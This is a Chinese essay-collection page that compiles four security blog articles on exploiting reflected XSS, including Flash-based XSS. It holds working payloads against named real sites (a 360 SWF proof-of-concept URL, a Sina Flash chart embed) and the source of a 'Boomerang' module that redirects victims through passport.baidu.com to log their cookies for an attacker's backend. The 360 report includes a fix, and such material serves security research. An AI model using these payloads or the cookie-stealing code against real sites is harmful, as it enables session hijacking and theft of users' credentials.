鸡肋的反射性xss脚本安全

时间:2023-04-01 08:42:26 其他范文 收藏本文 下载本文

鸡肋的反射性xss脚本安全(精选4篇)由网友“悲报喜鹊”投稿提供,下面小编给大家整理后的鸡肋的反射性xss脚本安全,希望大家喜欢!

鸡肋的反射性xss脚本安全

篇1:鸡肋的反射性xss脚本安全

0x00 起因

最近在一个比较大的小说网站上发现有注入漏洞,今天就一直想办法注入,结果一直也没有注进去,其主要原因就是只要我输入select他就会弹出对话框,如下图所示:

考虑了好久也没有想出什么好办法(只有留着),但是看着这个对话框总让人想到xss的场景,既然什么东西都那么容易就弹出来了,应该也会存在漏洞吧,于是就拿Acunetix一扫,果然发现了一大堆的xss漏洞(不过工具扫出来的也一般都是反射性的了):

看来现在虽然xss漏洞已经被owasp排在了web各大漏洞前列,但是实际好像不怎么受到重视哈。也跟xss大部分比较鸡肋有关吧,比如说本文发现的。

0x01 操作

Acunetix是一个很强大的扫描工具,能精确的发现大多数web漏洞,搞到工具那就是大家自己的事情了,呵呵。

首先选择一个xss漏洞点:右击 edit with http editor:

在这里他已经发现了代码的注入点,你只需要在固定的地方自定义的注入自己的代码,比如:

alert(/xss/)

可以先在notepad上面编辑好了之后再访问,如图:

由于我用的IE9,IE有自己的xss的过滤器,所以我说这个漏洞鸡肋,不过对低版本的很有效的,不会很多人都用IE9吧,

为了达到测试效果,我们可以先关了xss过滤器。

效果如下:

一般反射性的xss都不会有字数限制的,所以你可以直接写payload,也可以远程加载,为了用到以前的测试代码我就远程加载试试。

准备好的远程文件:j1.js

效果:

后面利用的手法就看大家的理解了。

0x 02 总结

反射性xss的原理和存储型xss有些差别,其差别在于存储型xss

的注入代码在服务器上,相对的来说危害较大一些,反射性必须需要点击url这个就是比较难利用的主要原因。本文中说的鸡肋不是说反射性xss,而是对于现在最新的浏览器来说,远没有sql注入来的直接,但是,在真正的高手,xss也会是很可怕的,文章没有什么技术,只是菜鸟上次写了一篇存储型的,这篇作为补充。(大牛勿喷)

篇2:Flash应用安全系列360反射型跨站脚本安全

简要描述:

360某处Flash应用存在漏洞,可能导致跨站脚本攻击,

详细说明:

在一切开始之前,我们先来说明几个基本的问题。

1.SWF如何被嵌入HTML页面的

此处所说的嵌入,就是指当你打开一个网页,这个网页中包含着SWF媒体文件,通常是embed或者object标签的形式。SWF嵌入HTML时,embed或者object标签通常还含有几个特定的属性,关键的有allowScriptAccess以及allowNetworking。

allowScriptAccess控制着SWF文件与HTML页面通信的级别,这里所说的通信,包括但不仅限于让SWF执行JS,还囊括了从JS调用SWF里预留出的api接口。

allowScriptAccess有以下三个值:

always 允许任意SWF文件与HTML页面通信。never 禁止任意SWF文件与HTML页面通信。samedomain 只有在SWF文件来自与HTML页相同的域时才允许通信。当未指定allowScriptAccess时,samedomain为默认值。

allowNetworking控制着SWF文件与WEB通信的级别,这里所说的通信,基本上就是发送、读取网络上的资源文件,以及控制浏览器的页面导航。

allowNetworking有以下三个值:

all 无任何限制。internal 禁止控制浏览器页面导航的函数。none 禁止任何网络通信。当未指定allowNetworking时,all为默认值。

2.我直接打开SWF文件时发生了什么

如果你在直接打开SWF文件时,使用IE开发者工具或者Firebug查看DOM源码就会发现,其实你打开的还是一个HTML页面,页面的内容只有一行代码:

前面我们已经讲了两个基本的属性,这里都没有指定,那么Flash Player自动取其默认值:allowScriptAccess=samedomain & allowNetworking=all.

在明白了上面两点之后,我们就能下面几个容易让人混淆的问题作出解答:

- a.com 的html页面 embed 了一个 b.com 的xss.swf,脚本执行域是哪个域?- a.com 因为swf并不能执行JS,我们见到的他所执行的JS,其实是flash player通过调用承载他的html页面的js来实现的,所以是a.com。

- a.com 的html页面 iframe. 了一个 b.com 的xss.swf,脚本执行域是哪个域?- b.com 因为iframe了一个swf,其实是iframe了一个只有一行代码的HTML页面,html页面的域是b.com,故脚本的执行域也是b.com。

- a.com/load.swf能够加载任意的swf,我直接打开a.com/load.swf?url=b.com/xss.swf,能不能执行脚本?- 不能,因为直接打开一个swf,他的allowScriptAccess是samedomain,而xss.swf的域是b.com,所以不能执行JS。

Flash里能执行JS的脚本函数有以下:

getURL(AS2) / navigateToURL (AS3)flash.external.ExternalInterface.call(methodName:String, [parameter1:Object])

我们只需要搜索getURL/navigateToURL/ExternalInterface.call等关键字,然后在逆溯变量是否可控,就可以找到一些最基本的XSS漏洞。

以360的这个swf为例,

搜索ExternalInterface.call,我们发现了下面的代码,

public static function initLanguage : void{ var _loc_1:* = null; Param.language = {}; if (ExternalInterface.available) { _loc_1 = ExternalInterface.call(Param.jsLang); if (_loc_1 != null) { Param.language[“CX0189”] = _loc_1[“CX0189”]; Param.language[“CX0193”] = _loc_1[“CX0193”]; _loc_1 = null; } } return;}

回溯Param.jsLang

this.parameter = this.loaderInfo.parameters;...Param.jsFunc = this.parameter[“jsfunc”];...Param.initLanguage()

这里的loaderInfo.parameters就是接受外部以flashvars或者类似a.swf?a=va&b=vb形式传入的变量和值。

这里我们打开 wan.360.cn/swf/avatar.swf?jslang=alert(1)

这里我们也许还有一个疑问,在官方的帮助文档里,flash.external.ExternalInterface.call可以接受两个参数,第一个是methodName,第二个是要传入的变量,那么对于上面的poc,正确的调用方法应该是flash.external.ExternalInterface.call(“alert”,“1”)才是,为什么flash.external.ExternalInterface.call(“alert(1)”)也能成功。

我们打开ie的调试工具,借用80vul.com上的demo,看看swf执行js时候发生了什么。

首先打开的是www.80vul.com/xss.swf?a=alert&b=1

​​

try { __flash__toXML(alert(“1”)) ; } catch (e) { “”; }

__flash__toXML是将函数执行的结果进行编码后传回SWF的函数,外面再嵌套了一层容错语句,看来一切和预想的一样

再打开www.80vul.com/xss.swf?a=alert(2)&b=1

try { __flash__toXML(alert(2)(“1”)) ; } catch (e) { “”; }

JS先执行了alert(2),弹出对话框。

再单步进入

alert函数没有返回值,alert(2)(“1”)出错,所以跳到了catch语句

这样一来,就能解释为什么即使不按adobe的文档说明的方法进行调用,也能执行js了,再多说一句,由于这样会引起出错导致SWF接收不到JS返回的值,所以在某些特定的情况下,我们要对插入的函数进行进一步的变化,比如

www.80vul.com/xss.swf?a=(function(_a){alert(_a);return function(_z){prompt(2,3)};return 5})(1)&b=4

这样,SWF就可以接收到我们可以任意构造的返回值 5 了。

原始SWF下载:swfpoc.appspot.com/vul/wan.360.cn_swf_avatar.swf​

证明:

修复方案:

正则匹配下,只允许[a-zA-Z\.]

篇3:基于flash的反射型xss的利用方法脚本安全

昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下,

----------------------------------------------------

在本地localhost建一个页面,进行了以下测试。

通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。

< iframe/src=“xsst.sinaapp.com/example/1-1.php?page=”>

< /code>如果用普通的embed来嵌入FLASH的话,则弹出的是localhost,即当前测试网页的cookies

IE下测试:chrome会崩溃.www.xxx.com

< code>

< embed/src=“data.house.sina.com.cn/images/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript.:''%22})()”allowscriptaccess=“always”>

< /code>但是用iframe来嵌入FLASH XSS的话,就有意思了

测试代码如下(IE):

在chrome中,可能会导致浏览器崩溃,可以改用以下代码,

运行你会发现,弹出的是新浪域的cookies~

------------------------------------------

因此当我们发现www.A.com 域名下的一个flash XSS

我们可以在www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。

当受害者,打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据!​

篇4:如何将反射型XSS变成持久型XSS:论跨域获取cookie脚本安全

Anehta中有许多的具有创意的设计,Boomerang ,回旋镖模块,正是其中一个,

回旋镖模块的作用,是为了跨域获取本地cookie。

Boomerang模块是专门针对IE设计的,对于Firefox的情况,可以使用xcookie模块,稍后会讨论。

Boomerang的工作原理:我们知道,浏览器被XSS攻击后,攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面,就可以继续用B站上的XSS_B控制用户的浏览器行为; 那么把整个过程结合起来,简单表示如下:

victim Browser --->site A,XSS_A ---- redirect to ---->Site B,XSS_B ----- redirect somewhere --->.....

但是对于IE来说,想要通过XSS_B 获取 Site B的cookie是有一定的困难的,困难就在于,从site A发过来的request,是否带上了本地cookie。

我们知道,在IE中,iframe、img等标签都是拦截本地cookie的,于是这些都不能用。需要使用不拦截cookie的比如 window.open等方法,但是window.open会被IE拦截弹出窗口,所以我在boomerang 中使用了 表单提交,构造一个form,向site B提交,然后再从Site B导入一个XSS B,获取了cookie后,再通过表单提交,跳转回原来的Site A.

如果在Site B上,使用XSS_B再将页面重新定向回 Site A,那么对于用户来说,就是简单的闪了一下,非常具有欺骗性。

这个过程可以描述如下

由于在IE中,跳到了Site B后再跳回A,中间已经取到了B的cookie了,整个过程就像用回旋镖扔出去打了一下B一样,所以我把这个模块命名为回旋镖模块,英文是:Boomerang!

实现代码如下:

////////////////////////////////////////////////////////////

var target_domain = “passport.baidu.com”;

var target=“passport.baidu.com/?getmypass&username=/”];document.write('');//“;

// 前页面

var org_url = ”www.secwiki.com/anehta/demo.html“;

var org_domain = ”www.secwiki.com“;

// 如果是当前页面,则向目标提交

if ($d.domain == org_domain){

if (anehta.dom.checkCookie(”boomerang“) == false){

// 在cookie里做标记,只弹一次

anehta.dom.addCookie(”boomerang“, ”x");

setTimeout( function (){

//alert(target);

try {

anehta.net.postForm(target);

} catch (e){

//alert(e);

}

},

50);

}

}

// 如果是目标站点,则重定向回前页面

if ($d.domain == target_domain){

//clx模块太慢了

anehta.logger.logCookie(); //记录cookie

setTimeout( function (){

// 弹回原来的页面,

anehta.net.postForm(org_url);

},

50);

}

可以注意到,在Site B上停留的时间只有50毫秒,是非常短暂的,而我们想做的事情已经做完了。

所有需要的一切,只是在B站上有一个XSS,种类不限,也就是说,不管是反射型XSS,还是持久型XSS,都能很好的完成我们的工作。

在以往,反射型XSS可能是鸡肋,但是通过回旋镖模块,我们变废为宝了!

在 Anehta 的demo页面,加入了针对回旋镖的演示. (注意在IE下,使用回旋镖,site B来不及打上水印,所以记录保存在 noWaterMark里)

www.secwiki.com/anehta/demo.html

后台 www.secwiki.com/anehta/admin.php

跨站脚本漏洞的利用教程

linux中./configure命令参数解析linux操作系统

编程毕业论文范文大全

多媒体课件

星光贴吧1.3 后台拿SHELL及修复方案漏洞预警

多媒体课件的特点

计算机常用术语

软件工程师的年终总结

网站服务器如何保障网络安全

人类VS计算机作文1000字

鸡肋的反射性xss脚本安全
《鸡肋的反射性xss脚本安全.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【鸡肋的反射性xss脚本安全(精选4篇)】相关文章:

关于oracle分区技术初了解2022-12-15

小燕病毒分析报告病毒防治2023-08-28

Discuz XSS得webshell脚本安全2022-05-08

Windows Vista下安装SQL Server2022-04-30

Windows的“同步”功能2023-07-13

BBSXP,很多注入脚本安全2023-02-15

一个防注入的小白错误千博企业程序漏洞预警2022-09-25

WIN技巧:如何用ADSI实现自动化的活动目录操作2022-05-06

Linux Kiss Server lks.c文件多个格式串处理漏洞2023-05-30

hr面试题及答案2022-10-01

点击下载本文文档